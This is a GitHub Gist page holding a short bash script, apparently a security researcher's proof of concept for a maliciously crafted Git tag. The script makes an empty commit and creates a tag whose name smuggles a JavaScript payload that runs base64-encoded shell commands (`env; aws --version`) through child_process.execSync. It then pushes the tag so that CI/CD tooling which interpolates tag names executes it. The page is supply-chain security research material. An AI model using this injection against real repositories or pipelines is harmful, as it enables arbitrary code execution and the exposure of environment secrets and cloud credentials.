Skip to content

Instantly share code, notes, and snippets.

View fproulx-boostsecurity's full-sized avatar
🦊
rocking

François Proulx fproulx-boostsecurity

🦊
rocking
View GitHub Profile
@fproulx-boostsecurity
fproulx-boostsecurity / malicious-js-in-git-tag.sh
Last active March 15, 2024 19:22
Maliciously crafted Git tag (Javascript injection)
#!/bin/bash
#set -x
git commit --allow-empty -m 'New release'
RND_SEMVER="v1.2.$((RANDOM % 1000))"
S2='env; aws --version'
ENC_S2=$(echo -n "$S2" | base64)
S1="'+require('child_process').execSync(atob('$ENC_S2')).toString()+'"
git tag "${RND_SEMVER}${S1}"
FINAL_TAG=$(git describe --tags --exact-match)
git push origin "$FINAL_TAG"